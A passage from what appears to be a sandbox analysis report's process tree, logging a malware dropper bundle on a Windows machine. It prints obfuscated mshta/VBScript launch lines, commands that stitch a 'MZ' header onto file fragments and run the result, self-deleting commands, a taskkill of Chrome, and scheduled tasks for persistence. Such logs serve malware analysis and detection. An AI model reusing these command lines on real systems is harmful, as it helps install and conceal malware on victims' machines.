C:\Users\Admin\Pictures\Adobe Films\kQ9_fhWeP7e9lj5i9KygdnXV.exe"C:\Users\Admin\Pictures\Adobe Films\kQ9_fhWeP7e9lj5i9KygdnXV.exe"6⤵PID:5976
-
-
C:\Users\Admin\Pictures\Adobe Films\KCH9Z7bYk8XXGbaVoAiA4aSq.exe"C:\Users\Admin\Pictures\Adobe Films\KCH9Z7bYk8XXGbaVoAiA4aSq.exe"6⤵PID:652
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"7⤵PID:2696
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"7⤵PID:1204
-
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"7⤵PID:4916
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵PID:4852
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:6460
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:6744
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵PID:856
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )11⤵PID:6648
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵PID:7016
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
PID:1060
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵PID:5240
-
C:\Users\Admin\AppData\Local\Temp\is-AF8L4.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-AF8L4.tmp\setup.tmp" /SL5="$103AC,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵PID:6148
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT9⤵PID:6668
-
C:\Users\Admin\AppData\Local\Temp\is-QT82C.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-QT82C.tmp\setup.tmp" /SL5="$303C0,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵PID:6804
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart11⤵PID:7648
-
C:\0fa7e15eda4992a50698503b466aadd6\Setup.exeC:\0fa7e15eda4992a50698503b466aadd6\\Setup.exe /q /norestart /x86 /x64 /web12⤵PID:7888
-
-
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss111⤵PID:7640
-
-
C:\Users\Admin\AppData\Local\Temp\is-7835P.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-7835P.tmp\postback.exe" ss111⤵PID:7632
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵PID:1728
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"7⤵PID:6188
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵PID:6264
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵PID:6344
-
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"7⤵PID:6408
-
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"7⤵PID:6468
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"7⤵PID:6564
-
-
-
C:\Users\Admin\Pictures\Adobe Films\1HKjlmU7QtkaTLsL8DBhxg4h.exe"C:\Users\Admin\Pictures\Adobe Films\1HKjlmU7QtkaTLsL8DBhxg4h.exe"6⤵PID:5868
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\1HKjlmU7QtkaTLsL8DBhxg4h.exe" & exit7⤵PID:2168
-
-
-
C:\Users\Admin\Pictures\Adobe Films\kH4H7kOVEHO3U5kYAsTBkSuc.exe"C:\Users\Admin\Pictures\Adobe Films\kH4H7kOVEHO3U5kYAsTBkSuc.exe"6⤵PID:7020
-
C:\Users\Admin\Pictures\Adobe Films\kH4H7kOVEHO3U5kYAsTBkSuc.exe"C:\Users\Admin\Pictures\Adobe Films\kH4H7kOVEHO3U5kYAsTBkSuc.exe"7⤵PID:4548
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2095db5b6bd7.exe4⤵PID:1416
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2095db5b6bd7.exeTue2095db5b6bd7.exe5⤵PID:2228
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:4220
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:4180
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue205724605816e79.exe4⤵PID:4068
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue205724605816e79.exeTue205724605816e79.exe5⤵PID:2076
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2082ea84bd.exe4⤵PID:2960
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20c79bfdadc.exe4⤵PID:2280
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue203dd57461.exe4⤵PID:952
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue203dd57461.exeTue203dd57461.exe5⤵
- Executes dropped EXE
PID:3116 -
C:\Users\Admin\AppData\Roaming\3197803.exe"C:\Users\Admin\AppData\Roaming\3197803.exe"6⤵PID:4848
-
-
C:\Users\Admin\AppData\Roaming\2982764.exe"C:\Users\Admin\AppData\Roaming\2982764.exe"6⤵PID:5024
-
-
C:\Users\Admin\AppData\Roaming\1453152.exe"C:\Users\Admin\AppData\Roaming\1453152.exe"6⤵PID:3288
-
-
C:\Users\Admin\AppData\Roaming\1110722.exe"C:\Users\Admin\AppData\Roaming\1110722.exe"6⤵PID:3548
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\1110722.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\1110722.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))7⤵PID:4564
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\1110722.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\1110722.exe" ) do taskkill -f -Im "%~NXZ"8⤵PID:4888
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i9⤵PID:4468
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))10⤵PID:1488
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"11⤵PID:5156
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )10⤵PID:5756
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *11⤵PID:5860
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "12⤵PID:6028
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"12⤵PID:6052
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K12⤵PID:5360
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K13⤵PID:4392
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "1110722.exe"9⤵
- Kills process with taskkill
PID:2888
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\297063.exe"C:\Users\Admin\AppData\Roaming\297063.exe"6⤵PID:4188
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:4688
-
-
-
C:\Users\Admin\AppData\Roaming\6218482.exe"C:\Users\Admin\AppData\Roaming\6218482.exe"6⤵PID:1508
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20d8f1968de62f282.exe4⤵PID:1644
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20d8f1968de62f282.exeTue20d8f1968de62f282.exe5⤵
- Executes dropped EXE
PID:3852 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3852 -s 16246⤵
- Program crash
PID:4544
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 5724⤵
- Program crash
PID:1780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue202dc71d1d41.exe4⤵PID:2300
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20abd30733a17.exe4⤵PID:4084
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20ea834764a6.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2608
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082ea84bd.exeTue2082ea84bd.exe1⤵
- Executes dropped EXE
PID:1580 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082ea84bd.exeC:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082ea84bd.exe2⤵PID:4284
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20c79bfdadc.exeTue20c79bfdadc.exe1⤵
- Executes dropped EXE
PID:3416 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20c79bfdadc.exeC:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20c79bfdadc.exe2⤵PID:4296
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20abd30733a17.exeTue20abd30733a17.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20ea834764a6.exeTue20ea834764a6.exe1⤵
- Executes dropped EXE
PID:1844
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue202dc71d1d41.exeTue202dc71d1d41.exe1⤵
- Executes dropped EXE
PID:3352 -
C:\Users\Admin\Pictures\Adobe Films\Vo06XMBIaNeV1utv5f_lMaTM.exe"C:\Users\Admin\Pictures\Adobe Films\Vo06XMBIaNeV1utv5f_lMaTM.exe"2⤵PID:4772
-
-
C:\Users\Admin\Pictures\Adobe Films\yKX6ppBxo14NpSyqGyrD92DH.exe"C:\Users\Admin\Pictures\Adobe Films\yKX6ppBxo14NpSyqGyrD92DH.exe"2⤵PID:5648
-
C:\Users\Admin\Pictures\Adobe Films\yKX6ppBxo14NpSyqGyrD92DH.exe"C:\Users\Admin\Pictures\Adobe Films\yKX6ppBxo14NpSyqGyrD92DH.exe"3⤵PID:4588
-
-
-
C:\Users\Admin\Pictures\Adobe Films\F0jdZDzGj_nx2hSyo_Heb4d1.exe"C:\Users\Admin\Pictures\Adobe Films\F0jdZDzGj_nx2hSyo_Heb4d1.exe"2⤵PID:5240
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "F0jdZDzGj_nx2hSyo_Heb4d1.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\F0jdZDzGj_nx2hSyo_Heb4d1.exe" & exit3⤵PID:5104
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "F0jdZDzGj_nx2hSyo_Heb4d1.exe" /f4⤵
- Kills process with taskkill
PID:6588
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Oio7yJo4pTzObF_rMWp2btIx.exe"C:\Users\Admin\Pictures\Adobe Films\Oio7yJo4pTzObF_rMWp2btIx.exe"2⤵PID:5288
-
-
C:\Users\Admin\Pictures\Adobe Films\S8HkJ0O53a_ITuDgyU2ImpHl.exe"C:\Users\Admin\Pictures\Adobe Films\S8HkJ0O53a_ITuDgyU2ImpHl.exe"2⤵PID:5616
-
-
C:\Users\Admin\Pictures\Adobe Films\RR7V1PQnfutblVG5zv5Z8Okb.exe"C:\Users\Admin\Pictures\Adobe Films\RR7V1PQnfutblVG5zv5Z8Okb.exe"2⤵PID:4892
-
-
C:\Users\Admin\Pictures\Adobe Films\Grn_lr2W87eMr54We_MaU7et.exe"C:\Users\Admin\Pictures\Adobe Films\Grn_lr2W87eMr54We_MaU7et.exe"2⤵PID:5588
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:6116
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:7792
-
-
C:\Users\Admin\Documents\7bvopJfHn2JNx1pZiUWqPenS.exe"C:\Users\Admin\Documents\7bvopJfHn2JNx1pZiUWqPenS.exe"3⤵PID:2176
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe"C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe" /SILENT1⤵PID:3628
-
C:\Users\Admin\AppData\Local\Temp\is-GFKD0.tmp\Tue201d50e7015.tmp"C:\Users\Admin\AppData\Local\Temp\is-GFKD0.tmp\Tue201d50e7015.tmp" /SL5="$5006A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe" /SILENT2⤵PID:1512
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe" >..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If ""== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe") do taskkill /IM "%~nXY" -f1⤵PID:4348
-
C:\Users\Admin\AppData\Local\Temp\_4SO.EXE..\_4SO.Exe /PZOIMJIYi~u3pALhs2⤵PID:4680
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ("WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"" > ..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If ""/PZOIMJIYi~u3pALhs""== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"") do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )3⤵PID:4796
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE" >..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If "/PZOIMJIYi~u3pALhs"== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE") do taskkill /IM "%~nXY" -f4⤵PID:4932
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCripT: clOsE ( crEatEobJECT( "WSCRIPt.SHELL" ).RUn( "cMD.exE /q /C ecHo | SET /p = ""MZ"" >5~XZ.D & COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un +3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q * " , 0 ,tRue ) )3⤵PID:4488
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C ecHo | SET /p = "MZ" >5~XZ.D&COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un+3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q *4⤵PID:4632
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>5~XZ.D"5⤵PID:1332
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ecHo "5⤵PID:3612
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y ..\WOYVBnm.95⤵PID:5812
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Tue20adee3c26d.exe" -f2⤵
- Kills process with taskkill
PID:4960
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵PID:4992
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4664
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:5080
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"1⤵PID:3576
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\Oio7yJo4pTzObF_rMWp2btIx.exe"2⤵PID:5756
-
-
C:\Windows\SysWOW64\msdt.exe"C:\Windows\SysWOW64\msdt.exe"1⤵PID:4100